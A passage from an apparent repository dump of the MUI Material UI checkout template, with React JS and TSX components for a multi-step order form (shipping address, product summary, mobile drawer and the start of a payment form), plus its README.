    "content": "import * as React from 'react';\nimport Box from '@mui/material/Box';\nimport Button from '@mui/material/Button';\nimport Card from '@mui/material/Card';\nimport CardContent from '@mui/material/CardContent';\nimport CssBaseline from '@mui/material/CssBaseline';\nimport Grid from '@mui/material/Grid';\nimport Stack from '@mui/material/Stack';\nimport Step from '@mui/material/Step';\nimport StepLabel from '@mui/material/StepLabel';\nimport Stepper from '@mui/material/Stepper';\nimport Typography from '@mui/material/Typography';\nimport ChevronLeftRoundedIcon from '@mui/icons-material/ChevronLeftRounded';\nimport ChevronRightRoundedIcon from '@mui/icons-material/ChevronRightRounded';\nimport AddressForm from './components/AddressForm';\nimport Info from './components/Info';\nimport InfoMobile from './components/InfoMobile';\nimport PaymentForm from './components/PaymentForm';\nimport Review from './components/Review';\nimport SitemarkIcon from './components/SitemarkIcon';\nimport AppTheme from '../shared-theme/AppTheme';\nimport ColorModeIconDropdown from '../shared-theme/ColorModeIconDropdown';\n\nconst steps = ['Shipping address', 'Payment details', 'Review your order'];\nfunction getStepContent(step) {\n  switch (step) {\n    case 0:\n      return <AddressForm />;\n    case 1:\n      return <PaymentForm />;\n    case 2:\n      return <Review />;\n    default:\n      throw new Error('Unknown step');\n  }\n}\nexport default function Checkout(props) {\n  const [activeStep, setActiveStep] = React.useState(0);\n  const handleNext = () => {\n    setActiveStep(activeStep + 1);\n  };\n  const handleBack = () => {\n    setActiveStep(activeStep - 1);\n  };\n  return (\n    <AppTheme {...props}>\n      <CssBaseline enableColorScheme />\n      <Box sx={{ position: 'fixed', top: '1rem', right: '1rem' }}>\n        <ColorModeIconDropdown />\n      </Box>\n\n      <Grid\n        container\n        sx={{\n          height: {\n            xs: '100%',\n            sm: 'calc(100dvh - var(--template-frame-height, 0px))',\n          },\n          mt: {\n            xs: 4,\n            sm: 0,\n          },\n        }}\n      >\n        <Grid\n          size={{ xs: 12, sm: 5, lg: 4 }}\n          sx={{\n            display: { xs: 'none', md: 'flex' },\n            flexDirection: 'column',\n            backgroundColor: 'background.paper',\n            borderRight: { sm: 'none', md: '1px solid' },\n            borderColor: { sm: 'none', md: 'divider' },\n            alignItems: 'start',\n            pt: 16,\n            px: 10,\n            gap: 4,\n          }}\n        >\n          <SitemarkIcon />\n          <Box\n            sx={{\n              display: 'flex',\n              flexDirection: 'column',\n              flexGrow: 1,\n              width: '100%',\n              maxWidth: 500,\n            }}\n          >\n            <Info totalPrice={activeStep >= 2 ? '$144.97' : '$134.98'} />\n          </Box>\n        </Grid>\n        <Grid\n          size={{ sm: 12, md: 7, lg: 8 }}\n          sx={{\n            display: 'flex',\n            flexDirection: 'column',\n            maxWidth: '100%',\n            width: '100%',\n            backgroundColor: { xs: 'transparent', sm: 'background.default' },\n            alignItems: 'start',\n            pt: { xs: 0, sm: 16 },\n            px: { xs: 2, sm: 10 },\n            gap: { xs: 4, md: 8 },\n          }}\n        >\n          <Box\n            sx={{\n              display: 'flex',\n              justifyContent: { sm: 'space-between', md: 'flex-end' },\n              alignItems: 'center',\n              width: '100%',\n              maxWidth: { sm: '100%', md: 600 },\n            }}\n          >\n            <Box\n              sx={{\n                display: { xs: 'none', md: 'flex' },\n                flexDirection: 'column',\n                justifyContent: 'space-between',\n                alignItems: 'flex-end',\n                flexGrow: 1,\n              }}\n            >\n              <Stepper\n                id=\"desktop-stepper\"\n                activeStep={activeStep}\n                sx={{ width: '100%', height: 40 }}\n              >\n                {steps.map((label) => (\n                  <Step\n                    sx={{ ':first-child': { pl: 0 }, ':last-child': { pr: 0 } }}\n                    key={label}\n                  >\n                    <StepLabel>{label}</StepLabel>\n                  </Step>\n                ))}\n              </Stepper>\n            </Box>\n          </Box>\n          <Card sx={{ display: { xs: 'flex', md: 'none' }, width: '100%' }}>\n            <CardContent\n              sx={{\n                display: 'flex',\n                width: '100%',\n                alignItems: 'center',\n                justifyContent: 'space-between',\n              }}\n            >\n              <div>\n                <Typography variant=\"subtitle2\" gutterBottom>\n                  Selected products\n                </Typography>\n                <Typography variant=\"body1\">\n                  {activeStep >= 2 ? '$144.97' : '$134.98'}\n                </Typography>\n              </div>\n              <InfoMobile totalPrice={activeStep >= 2 ? '$144.97' : '$134.98'} />\n            </CardContent>\n          </Card>\n          <Box\n            sx={{\n              display: 'flex',\n              flexDirection: 'column',\n              flexGrow: 1,\n              width: '100%',\n              maxWidth: { sm: '100%', md: 600 },\n              maxHeight: '720px',\n              gap: { xs: 5, md: 'none' },\n            }}\n          >\n            <Stepper\n              id=\"mobile-stepper\"\n              activeStep={activeStep}\n              alternativeLabel\n              sx={{ display: { sm: 'flex', md: 'none' } }}\n            >\n              {steps.map((label) => (\n                <Step\n                  sx={{\n                    ':first-child': { pl: 0 },\n                    ':last-child': { pr: 0 },\n                    '& .MuiStepConnector-root': { top: { xs: 6, sm: 12 } },\n                  }}\n                  key={label}\n                >\n                  <StepLabel\n                    sx={{ '.MuiStepLabel-labelContainer': { maxWidth: '70px' } }}\n                  >\n                    {label}\n                  </StepLabel>\n                </Step>\n              ))}\n            </Stepper>\n            {activeStep === steps.length ? (\n              <Stack spacing={2} useFlexGap>\n                <Typography variant=\"h1\">📦</Typography>\n                <Typography variant=\"h5\">Thank you for your order!</Typography>\n                <Typography variant=\"body1\" sx={{ color: 'text.secondary' }}>\n                  Your order number is\n                  <strong>&nbsp;#140396</strong>. We have emailed your order\n                  confirmation and will update you once its shipped.\n                </Typography>\n                <Button\n                  variant=\"contained\"\n                  sx={{ alignSelf: 'start', width: { xs: '100%', sm: 'auto' } }}\n                >\n                  Go to my orders\n                </Button>\n              </Stack>\n            ) : (\n              <React.Fragment>\n                {getStepContent(activeStep)}\n                <Box\n                  sx={[\n                    {\n                      display: 'flex',\n                      flexDirection: { xs: 'column-reverse', sm: 'row' },\n                      alignItems: 'end',\n                      flexGrow: 1,\n                      gap: 1,\n                      pb: { xs: 12, sm: 0 },\n                      mt: { xs: 2, sm: 0 },\n                      mb: '60px',\n                    },\n                    activeStep !== 0\n                      ? { justifyContent: 'space-between' }\n                      : { justifyContent: 'flex-end' },\n                  ]}\n                >\n                  {activeStep !== 0 && (\n                    <Button\n                      startIcon={<ChevronLeftRoundedIcon />}\n                      onClick={handleBack}\n                      variant=\"text\"\n                      sx={{ display: { xs: 'none', sm: 'flex' } }}\n                    >\n                      Previous\n                    </Button>\n                  )}\n                  {activeStep !== 0 && (\n                    <Button\n                      startIcon={<ChevronLeftRoundedIcon />}\n                      onClick={handleBack}\n                      variant=\"outlined\"\n                      fullWidth\n                      sx={{ display: { xs: 'flex', sm: 'none' } }}\n                    >\n                      Previous\n                    </Button>\n                  )}\n                  <Button\n                    variant=\"contained\"\n                    endIcon={<ChevronRightRoundedIcon />}\n                    onClick={handleNext}\n                    sx={{ width: { xs: '100%', sm: 'fit-content' } }}\n                  >\n                    {activeStep === steps.length - 1 ? 'Place order' : 'Next'}\n                  </Button>\n                </Box>\n              </React.Fragment>\n            )}\n          </Box>\n        </Grid>\n      </Grid>\n    </AppTheme>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/checkout/Checkout.tsx",
    "content": "import * as React from 'react';\nimport Box from '@mui/material/Box';\nimport Button from '@mui/material/Button';\nimport Card from '@mui/material/Card';\nimport CardContent from '@mui/material/CardContent';\nimport CssBaseline from '@mui/material/CssBaseline';\nimport Grid from '@mui/material/Grid';\nimport Stack from '@mui/material/Stack';\nimport Step from '@mui/material/Step';\nimport StepLabel from '@mui/material/StepLabel';\nimport Stepper from '@mui/material/Stepper';\nimport Typography from '@mui/material/Typography';\nimport ChevronLeftRoundedIcon from '@mui/icons-material/ChevronLeftRounded';\nimport ChevronRightRoundedIcon from '@mui/icons-material/ChevronRightRounded';\nimport AddressForm from './components/AddressForm';\nimport Info from './components/Info';\nimport InfoMobile from './components/InfoMobile';\nimport PaymentForm from './components/PaymentForm';\nimport Review from './components/Review';\nimport SitemarkIcon from './components/SitemarkIcon';\nimport AppTheme from '../shared-theme/AppTheme';\nimport ColorModeIconDropdown from '../shared-theme/ColorModeIconDropdown';\n\nconst steps = ['Shipping address', 'Payment details', 'Review your order'];\nfunction getStepContent(step: number) {\n  switch (step) {\n    case 0:\n      return <AddressForm />;\n    case 1:\n      return <PaymentForm />;\n    case 2:\n      return <Review />;\n    default:\n      throw new Error('Unknown step');\n  }\n}\nexport default function Checkout(props: { disableCustomTheme?: boolean }) {\n  const [activeStep, setActiveStep] = React.useState(0);\n  const handleNext = () => {\n    setActiveStep(activeStep + 1);\n  };\n  const handleBack = () => {\n    setActiveStep(activeStep - 1);\n  };\n  return (\n    <AppTheme {...props}>\n      <CssBaseline enableColorScheme />\n      <Box sx={{ position: 'fixed', top: '1rem', right: '1rem' }}>\n        <ColorModeIconDropdown />\n      </Box>\n\n      <Grid\n        container\n        sx={{\n          height: {\n            xs: '100%',\n            sm: 'calc(100dvh - var(--template-frame-height, 0px))',\n          },\n          mt: {\n            xs: 4,\n            sm: 0,\n          },\n        }}\n      >\n        <Grid\n          size={{ xs: 12, sm: 5, lg: 4 }}\n          sx={{\n            display: { xs: 'none', md: 'flex' },\n            flexDirection: 'column',\n            backgroundColor: 'background.paper',\n            borderRight: { sm: 'none', md: '1px solid' },\n            borderColor: { sm: 'none', md: 'divider' },\n            alignItems: 'start',\n            pt: 16,\n            px: 10,\n            gap: 4,\n          }}\n        >\n          <SitemarkIcon />\n          <Box\n            sx={{\n              display: 'flex',\n              flexDirection: 'column',\n              flexGrow: 1,\n              width: '100%',\n              maxWidth: 500,\n            }}\n          >\n            <Info totalPrice={activeStep >= 2 ? '$144.97' : '$134.98'} />\n          </Box>\n        </Grid>\n        <Grid\n          size={{ sm: 12, md: 7, lg: 8 }}\n          sx={{\n            display: 'flex',\n            flexDirection: 'column',\n            maxWidth: '100%',\n            width: '100%',\n            backgroundColor: { xs: 'transparent', sm: 'background.default' },\n            alignItems: 'start',\n            pt: { xs: 0, sm: 16 },\n            px: { xs: 2, sm: 10 },\n            gap: { xs: 4, md: 8 },\n          }}\n        >\n          <Box\n            sx={{\n              display: 'flex',\n              justifyContent: { sm: 'space-between', md: 'flex-end' },\n              alignItems: 'center',\n              width: '100%',\n              maxWidth: { sm: '100%', md: 600 },\n            }}\n          >\n            <Box\n              sx={{\n                display: { xs: 'none', md: 'flex' },\n                flexDirection: 'column',\n                justifyContent: 'space-between',\n                alignItems: 'flex-end',\n                flexGrow: 1,\n              }}\n            >\n              <Stepper\n                id=\"desktop-stepper\"\n                activeStep={activeStep}\n                sx={{ width: '100%', height: 40 }}\n              >\n                {steps.map((label) => (\n                  <Step\n                    sx={{ ':first-child': { pl: 0 }, ':last-child': { pr: 0 } }}\n                    key={label}\n                  >\n                    <StepLabel>{label}</StepLabel>\n                  </Step>\n                ))}\n              </Stepper>\n            </Box>\n          </Box>\n          <Card sx={{ display: { xs: 'flex', md: 'none' }, width: '100%' }}>\n            <CardContent\n              sx={{\n                display: 'flex',\n                width: '100%',\n                alignItems: 'center',\n                justifyContent: 'space-between',\n              }}\n            >\n              <div>\n                <Typography variant=\"subtitle2\" gutterBottom>\n                  Selected products\n                </Typography>\n                <Typography variant=\"body1\">\n                  {activeStep >= 2 ? '$144.97' : '$134.98'}\n                </Typography>\n              </div>\n              <InfoMobile totalPrice={activeStep >= 2 ? '$144.97' : '$134.98'} />\n            </CardContent>\n          </Card>\n          <Box\n            sx={{\n              display: 'flex',\n              flexDirection: 'column',\n              flexGrow: 1,\n              width: '100%',\n              maxWidth: { sm: '100%', md: 600 },\n              maxHeight: '720px',\n              gap: { xs: 5, md: 'none' },\n            }}\n          >\n            <Stepper\n              id=\"mobile-stepper\"\n              activeStep={activeStep}\n              alternativeLabel\n              sx={{ display: { sm: 'flex', md: 'none' } }}\n            >\n              {steps.map((label) => (\n                <Step\n                  sx={{\n                    ':first-child': { pl: 0 },\n                    ':last-child': { pr: 0 },\n                    '& .MuiStepConnector-root': { top: { xs: 6, sm: 12 } },\n                  }}\n                  key={label}\n                >\n                  <StepLabel\n                    sx={{ '.MuiStepLabel-labelContainer': { maxWidth: '70px' } }}\n                  >\n                    {label}\n                  </StepLabel>\n                </Step>\n              ))}\n            </Stepper>\n            {activeStep === steps.length ? (\n              <Stack spacing={2} useFlexGap>\n                <Typography variant=\"h1\">📦</Typography>\n                <Typography variant=\"h5\">Thank you for your order!</Typography>\n                <Typography variant=\"body1\" sx={{ color: 'text.secondary' }}>\n                  Your order number is\n                  <strong>&nbsp;#140396</strong>. We have emailed your order\n                  confirmation and will update you once its shipped.\n                </Typography>\n                <Button\n                  variant=\"contained\"\n                  sx={{ alignSelf: 'start', width: { xs: '100%', sm: 'auto' } }}\n                >\n                  Go to my orders\n                </Button>\n              </Stack>\n            ) : (\n              <React.Fragment>\n                {getStepContent(activeStep)}\n                <Box\n                  sx={[\n                    {\n                      display: 'flex',\n                      flexDirection: { xs: 'column-reverse', sm: 'row' },\n                      alignItems: 'end',\n                      flexGrow: 1,\n                      gap: 1,\n                      pb: { xs: 12, sm: 0 },\n                      mt: { xs: 2, sm: 0 },\n                      mb: '60px',\n                    },\n                    activeStep !== 0\n                      ? { justifyContent: 'space-between' }\n                      : { justifyContent: 'flex-end' },\n                  ]}\n                >\n                  {activeStep !== 0 && (\n                    <Button\n                      startIcon={<ChevronLeftRoundedIcon />}\n                      onClick={handleBack}\n                      variant=\"text\"\n                      sx={{ display: { xs: 'none', sm: 'flex' } }}\n                    >\n                      Previous\n                    </Button>\n                  )}\n                  {activeStep !== 0 && (\n                    <Button\n                      startIcon={<ChevronLeftRoundedIcon />}\n                      onClick={handleBack}\n                      variant=\"outlined\"\n                      fullWidth\n                      sx={{ display: { xs: 'flex', sm: 'none' } }}\n                    >\n                      Previous\n                    </Button>\n                  )}\n                  <Button\n                    variant=\"contained\"\n                    endIcon={<ChevronRightRoundedIcon />}\n                    onClick={handleNext}\n                    sx={{ width: { xs: '100%', sm: 'fit-content' } }}\n                  >\n                    {activeStep === steps.length - 1 ? 'Place order' : 'Next'}\n                  </Button>\n                </Box>\n              </React.Fragment>\n            )}\n          </Box>\n        </Grid>\n      </Grid>\n    </AppTheme>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/checkout/README.md",
    "content": "# Checkout template\n\n## Usage\n\n<!-- #target-branch-reference -->\n\n1. Copy these folders (`checkout` and `shared-theme`) into your project, or one of the [example projects](https://github.com/mui/material-ui/tree/master/examples).\n2. Make sure your project has the required dependencies: @mui/material, @emotion/styled, @emotion/react.\n3. Import and use the `Checkout` component.\n\n## Demo\n\n<!-- #host-reference -->\n\nView the demo at https://next.mui.com/material-ui/getting-started/templates/checkout/.\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/checkout/components/AddressForm.js",
    "content": "import Checkbox from '@mui/material/Checkbox';\nimport FormControlLabel from '@mui/material/FormControlLabel';\nimport FormLabel from '@mui/material/FormLabel';\nimport Grid from '@mui/material/Grid';\nimport OutlinedInput from '@mui/material/OutlinedInput';\nimport { styled } from '@mui/material/styles';\n\nconst FormGrid = styled(Grid)(() => ({\n  display: 'flex',\n  flexDirection: 'column',\n}));\n\nexport default function AddressForm() {\n  return (\n    <Grid container spacing={3}>\n      <FormGrid size={{ xs: 12, md: 6 }}>\n        <FormLabel htmlFor=\"first-name\" required>\n          First name\n        </FormLabel>\n        <OutlinedInput\n          id=\"first-name\"\n          name=\"first-name\"\n          type=\"text\"\n          placeholder=\"John\"\n          autoComplete=\"given-name\"\n          required\n          size=\"small\"\n        />\n      </FormGrid>\n      <FormGrid size={{ xs: 12, md: 6 }}>\n        <FormLabel htmlFor=\"last-name\" required>\n          Last name\n        </FormLabel>\n        <OutlinedInput\n          id=\"last-name\"\n          name=\"last-name\"\n          type=\"text\"\n          placeholder=\"Snow\"\n          autoComplete=\"family-name\"\n          required\n          size=\"small\"\n        />\n      </FormGrid>\n      <FormGrid size={{ xs: 12 }}>\n        <FormLabel htmlFor=\"address1\" required>\n          Address line 1\n        </FormLabel>\n        <OutlinedInput\n          id=\"address1\"\n          name=\"address1\"\n          type=\"text\"\n          placeholder=\"Street name and number\"\n          autoComplete=\"shipping address-line1\"\n          required\n          size=\"small\"\n        />\n      </FormGrid>\n      <FormGrid size={{ xs: 12 }}>\n        <FormLabel htmlFor=\"address2\">Address line 2</FormLabel>\n        <OutlinedInput\n          id=\"address2\"\n          name=\"address2\"\n          type=\"text\"\n          placeholder=\"Apartment, suite, unit, etc. (optional)\"\n          autoComplete=\"shipping address-line2\"\n          required\n          size=\"small\"\n        />\n      </FormGrid>\n      <FormGrid size={{ xs: 6 }}>\n        <FormLabel htmlFor=\"city\" required>\n          City\n        </FormLabel>\n        <OutlinedInput\n          id=\"city\"\n          name=\"city\"\n          type=\"text\"\n          placeholder=\"New York\"\n          autoComplete=\"address-level2\"\n          required\n          size=\"small\"\n        />\n      </FormGrid>\n      <FormGrid size={{ xs: 6 }}>\n        <FormLabel htmlFor=\"state\" required>\n          State\n        </FormLabel>\n        <OutlinedInput\n          id=\"state\"\n          name=\"state\"\n          type=\"text\"\n          placeholder=\"NY\"\n          autoComplete=\"address-level1\"\n          required\n          size=\"small\"\n        />\n      </FormGrid>\n      <FormGrid size={{ xs: 6 }}>\n        <FormLabel htmlFor=\"zip\" required>\n          Zip / Postal code\n        </FormLabel>\n        <OutlinedInput\n          id=\"zip\"\n          name=\"zip\"\n          type=\"text\"\n          placeholder=\"12345\"\n          autoComplete=\"shipping postal-code\"\n          required\n          size=\"small\"\n        />\n      </FormGrid>\n      <FormGrid size={{ xs: 6 }}>\n        <FormLabel htmlFor=\"country\" required>\n          Country\n        </FormLabel>\n        <OutlinedInput\n          id=\"country\"\n          name=\"country\"\n          type=\"text\"\n          placeholder=\"United States\"\n          autoComplete=\"shipping country-name\"\n          required\n          size=\"small\"\n        />\n      </FormGrid>\n      <FormGrid size={{ xs: 12 }}>\n        <FormControlLabel\n          control={<Checkbox name=\"saveAddress\" value=\"yes\" />}\n          label=\"Use this address for payment details\"\n        />\n      </FormGrid>\n    </Grid>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/checkout/components/AddressForm.tsx",
    "content": "import Checkbox from '@mui/material/Checkbox';\nimport FormControlLabel from '@mui/material/FormControlLabel';\nimport FormLabel from '@mui/material/FormLabel';\nimport Grid from '@mui/material/Grid';\nimport OutlinedInput from '@mui/material/OutlinedInput';\nimport { styled } from '@mui/material/styles';\n\nconst FormGrid = styled(Grid)(() => ({\n  display: 'flex',\n  flexDirection: 'column',\n}));\n\nexport default function AddressForm() {\n  return (\n    <Grid container spacing={3}>\n      <FormGrid size={{ xs: 12, md: 6 }}>\n        <FormLabel htmlFor=\"first-name\" required>\n          First name\n        </FormLabel>\n        <OutlinedInput\n          id=\"first-name\"\n          name=\"first-name\"\n          type=\"text\"\n          placeholder=\"John\"\n          autoComplete=\"given-name\"\n          required\n          size=\"small\"\n        />\n      </FormGrid>\n      <FormGrid size={{ xs: 12, md: 6 }}>\n        <FormLabel htmlFor=\"last-name\" required>\n          Last name\n        </FormLabel>\n        <OutlinedInput\n          id=\"last-name\"\n          name=\"last-name\"\n          type=\"text\"\n          placeholder=\"Snow\"\n          autoComplete=\"family-name\"\n          required\n          size=\"small\"\n        />\n      </FormGrid>\n      <FormGrid size={{ xs: 12 }}>\n        <FormLabel htmlFor=\"address1\" required>\n          Address line 1\n        </FormLabel>\n        <OutlinedInput\n          id=\"address1\"\n          name=\"address1\"\n          type=\"text\"\n          placeholder=\"Street name and number\"\n          autoComplete=\"shipping address-line1\"\n          required\n          size=\"small\"\n        />\n      </FormGrid>\n      <FormGrid size={{ xs: 12 }}>\n        <FormLabel htmlFor=\"address2\">Address line 2</FormLabel>\n        <OutlinedInput\n          id=\"address2\"\n          name=\"address2\"\n          type=\"text\"\n          placeholder=\"Apartment, suite, unit, etc. (optional)\"\n          autoComplete=\"shipping address-line2\"\n          required\n          size=\"small\"\n        />\n      </FormGrid>\n      <FormGrid size={{ xs: 6 }}>\n        <FormLabel htmlFor=\"city\" required>\n          City\n        </FormLabel>\n        <OutlinedInput\n          id=\"city\"\n          name=\"city\"\n          type=\"text\"\n          placeholder=\"New York\"\n          autoComplete=\"address-level2\"\n          required\n          size=\"small\"\n        />\n      </FormGrid>\n      <FormGrid size={{ xs: 6 }}>\n        <FormLabel htmlFor=\"state\" required>\n          State\n        </FormLabel>\n        <OutlinedInput\n          id=\"state\"\n          name=\"state\"\n          type=\"text\"\n          placeholder=\"NY\"\n          autoComplete=\"address-level1\"\n          required\n          size=\"small\"\n        />\n      </FormGrid>\n      <FormGrid size={{ xs: 6 }}>\n        <FormLabel htmlFor=\"zip\" required>\n          Zip / Postal code\n        </FormLabel>\n        <OutlinedInput\n          id=\"zip\"\n          name=\"zip\"\n          type=\"text\"\n          placeholder=\"12345\"\n          autoComplete=\"shipping postal-code\"\n          required\n          size=\"small\"\n        />\n      </FormGrid>\n      <FormGrid size={{ xs: 6 }}>\n        <FormLabel htmlFor=\"country\" required>\n          Country\n        </FormLabel>\n        <OutlinedInput\n          id=\"country\"\n          name=\"country\"\n          type=\"text\"\n          placeholder=\"United States\"\n          autoComplete=\"shipping country-name\"\n          required\n          size=\"small\"\n        />\n      </FormGrid>\n      <FormGrid size={{ xs: 12 }}>\n        <FormControlLabel\n          control={<Checkbox name=\"saveAddress\" value=\"yes\" />}\n          label=\"Use this address for payment details\"\n        />\n      </FormGrid>\n    </Grid>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/checkout/components/Info.js",
    "content": "import * as React from 'react';\nimport PropTypes from 'prop-types';\nimport List from '@mui/material/List';\nimport ListItem from '@mui/material/ListItem';\nimport ListItemText from '@mui/material/ListItemText';\nimport Typography from '@mui/material/Typography';\n\nconst products = [\n  {\n    name: 'Professional plan',\n    desc: 'Monthly subscription',\n    price: '$15.00',\n  },\n  {\n    name: 'Dedicated support',\n    desc: 'Included in the Professional plan',\n    price: 'Free',\n  },\n  {\n    name: 'Hardware',\n    desc: 'Devices needed for development',\n    price: '$69.99',\n  },\n  {\n    name: 'Landing page template',\n    desc: 'License',\n    price: '$49.99',\n  },\n];\n\nfunction Info({ totalPrice }) {\n  return (\n    <React.Fragment>\n      <Typography variant=\"subtitle2\" sx={{ color: 'text.secondary' }}>\n        Total\n      </Typography>\n      <Typography variant=\"h4\" gutterBottom>\n        {totalPrice}\n      </Typography>\n      <List disablePadding>\n        {products.map((product) => (\n          <ListItem key={product.name} sx={{ py: 1, px: 0 }}>\n            <ListItemText\n              sx={{ mr: 2 }}\n              primary={product.name}\n              secondary={product.desc}\n            />\n            <Typography variant=\"body1\" sx={{ fontWeight: 'medium' }}>\n              {product.price}\n            </Typography>\n          </ListItem>\n        ))}\n      </List>\n    </React.Fragment>\n  );\n}\n\nInfo.propTypes = {\n  totalPrice: PropTypes.string.isRequired,\n};\n\nexport default Info;\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/checkout/components/Info.tsx",
    "content": "import * as React from 'react';\nimport List from '@mui/material/List';\nimport ListItem from '@mui/material/ListItem';\nimport ListItemText from '@mui/material/ListItemText';\nimport Typography from '@mui/material/Typography';\n\nconst products = [\n  {\n    name: 'Professional plan',\n    desc: 'Monthly subscription',\n    price: '$15.00',\n  },\n  {\n    name: 'Dedicated support',\n    desc: 'Included in the Professional plan',\n    price: 'Free',\n  },\n  {\n    name: 'Hardware',\n    desc: 'Devices needed for development',\n    price: '$69.99',\n  },\n  {\n    name: 'Landing page template',\n    desc: 'License',\n    price: '$49.99',\n  },\n];\n\ninterface InfoProps {\n  totalPrice: string;\n}\n\nexport default function Info({ totalPrice }: InfoProps) {\n  return (\n    <React.Fragment>\n      <Typography variant=\"subtitle2\" sx={{ color: 'text.secondary' }}>\n        Total\n      </Typography>\n      <Typography variant=\"h4\" gutterBottom>\n        {totalPrice}\n      </Typography>\n      <List disablePadding>\n        {products.map((product) => (\n          <ListItem key={product.name} sx={{ py: 1, px: 0 }}>\n            <ListItemText\n              sx={{ mr: 2 }}\n              primary={product.name}\n              secondary={product.desc}\n            />\n            <Typography variant=\"body1\" sx={{ fontWeight: 'medium' }}>\n              {product.price}\n            </Typography>\n          </ListItem>\n        ))}\n      </List>\n    </React.Fragment>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/checkout/components/InfoMobile.js",
    "content": "import * as React from 'react';\nimport PropTypes from 'prop-types';\nimport Box from '@mui/material/Box';\nimport Button from '@mui/material/Button';\nimport Drawer from '@mui/material/Drawer';\nimport IconButton from '@mui/material/IconButton';\nimport CloseIcon from '@mui/icons-material/Close';\nimport ExpandMoreRoundedIcon from '@mui/icons-material/ExpandMoreRounded';\nimport Info from './Info';\n\nfunction InfoMobile({ totalPrice }) {\n  const [open, setOpen] = React.useState(false);\n\n  const toggleDrawer = (newOpen) => () => {\n    setOpen(newOpen);\n  };\n\n  const DrawerList = (\n    <Box sx={{ width: 'auto', px: 3, pb: 3, pt: 8 }} role=\"presentation\">\n      <IconButton\n        onClick={toggleDrawer(false)}\n        sx={{ position: 'absolute', right: 8, top: 8 }}\n      >\n        <CloseIcon />\n      </IconButton>\n      <Info totalPrice={totalPrice} />\n    </Box>\n  );\n\n  return (\n    <div>\n      <Button\n        variant=\"text\"\n        endIcon={<ExpandMoreRoundedIcon />}\n        onClick={toggleDrawer(true)}\n      >\n        View details\n      </Button>\n      <Drawer\n        open={open}\n        anchor=\"top\"\n        onClose={toggleDrawer(false)}\n        slotProps={{\n          paper: {\n            sx: {\n              top: 'var(--template-frame-height, 0px)',\n              backgroundImage: 'none',\n              backgroundColor: 'background.paper',\n            },\n          },\n        }}\n      >\n        {DrawerList}\n      </Drawer>\n    </div>\n  );\n}\n\nInfoMobile.propTypes = {\n  totalPrice: PropTypes.string.isRequired,\n};\n\nexport default InfoMobile;\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/checkout/components/InfoMobile.tsx",
    "content": "import * as React from 'react';\nimport Box from '@mui/material/Box';\nimport Button from '@mui/material/Button';\nimport Drawer from '@mui/material/Drawer';\nimport IconButton from '@mui/material/IconButton';\nimport CloseIcon from '@mui/icons-material/Close';\nimport ExpandMoreRoundedIcon from '@mui/icons-material/ExpandMoreRounded';\nimport Info from './Info';\n\ninterface InfoProps {\n  totalPrice: string;\n}\n\nexport default function InfoMobile({ totalPrice }: InfoProps) {\n  const [open, setOpen] = React.useState(false);\n\n  const toggleDrawer = (newOpen: boolean) => () => {\n    setOpen(newOpen);\n  };\n\n  const DrawerList = (\n    <Box sx={{ width: 'auto', px: 3, pb: 3, pt: 8 }} role=\"presentation\">\n      <IconButton\n        onClick={toggleDrawer(false)}\n        sx={{ position: 'absolute', right: 8, top: 8 }}\n      >\n        <CloseIcon />\n      </IconButton>\n      <Info totalPrice={totalPrice} />\n    </Box>\n  );\n\n  return (\n    <div>\n      <Button\n        variant=\"text\"\n        endIcon={<ExpandMoreRoundedIcon />}\n        onClick={toggleDrawer(true)}\n      >\n        View details\n      </Button>\n      <Drawer\n        open={open}\n        anchor=\"top\"\n        onClose={toggleDrawer(false)}\n        slotProps={{\n          paper: {\n            sx: {\n              top: 'var(--template-frame-height, 0px)',\n              backgroundImage: 'none',\n              backgroundColor: 'background.paper',\n            },\n          },\n        }}\n      >\n        {DrawerList}\n      </Drawer>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/checkout/components/PaymentForm.js",
    "content": "import * as React from 'react';\nimport Alert from '@mui/material/Alert';\nimport Box from '@mui/material/Box';\nimport MuiCard from '@mui/material/Card';\nimport CardActionArea from '@mui/material/CardActionArea';\nimport CardContent from '@mui/material/CardContent';\nimport Checkbox from '@mui/material/Checkbox';\nimport FormControl from '@mui/material/FormControl';\nimport FormControlLabel from '@mui/material/FormControlLabel';\nimport FormLabel from '@mui/material/FormLabel';\nimport OutlinedInput from '@mui/material/OutlinedInput';\nimport RadioGroup from '@mui/material/RadioGroup';\nimport Stack from '@mui/material/Stack';\nimport Typography from '@mui/material/Typography';\nimport { styled } from '@mui/material/styles';\nimport AccountBalanceRoundedIcon from '@mui/icons-material/AccountBalanceRounded';\nimport CreditCardRoundedIcon from '@mui/icons-material/CreditCardRounded';\nimport SimCardRoundedIcon from '@mui/icons-material/SimCardRounded';\nimport WarningRoundedIcon from '@mui/icons-material/WarningRounded';\n\nconst Card = styled(MuiCard)(({ theme }) => ({\n  border: '1px solid',\n  borderColor: (theme.vars || theme).palette.divider,\n  width: '100%',\n  '&:hover': {\n    background:\n      'linear-gradient(to bottom right, hsla(210, 100%, 97%, 0.5) 25%, hsla(210, 100%, 90%, 0.3) 100%)',\n    borderColor: 'primary.light',\n    boxShadow: '0px 2px 8px hsla(0, 0%, 0%, 0.1)',\n    ...theme.applyStyles('dark', {\n      background:\n        'linear-gradient(to right bottom, hsla(210, 100%, 12%, 0.2) 25%, hsla(210, 100%, 16%, 0.2) 100%)',\n      borderColor: 'primary.dark',\n      boxShadow: '0px 1px 8px hsla(210, 100%, 25%, 0.5) ',\n    }),\n  },\n  [theme.breakpoints.up('md')]: {\n    flexGrow: 1,\n    maxWidth: `calc(50% - ${theme.spacing(1)})`,\n  },\n  variants: [\n    {\n      props: ({ selected }) => selected,\n      style: {\n        borderColor: (theme.vars || theme).palette.primary.light,\n        ...theme.applyStyles('dark', {\n          borderColor: (theme.vars || theme).palette.primary.dark,\n        }),\n      },\n    },\n  ],\n}));\n\nconst PaymentContainer = styled('div')(({ theme }) => ({\n  display: 'flex',\n  flexDirection: 'column',\n  justifyContent: 'space-between',\n  width: '100%',\n  height: 375,\n  padding: theme.spacing(3),\n  borderRadius: `calc(${theme.shape.borderRadius}px + 4px)`,\n  border: '1px solid ',\n  borderColor: (theme.vars || 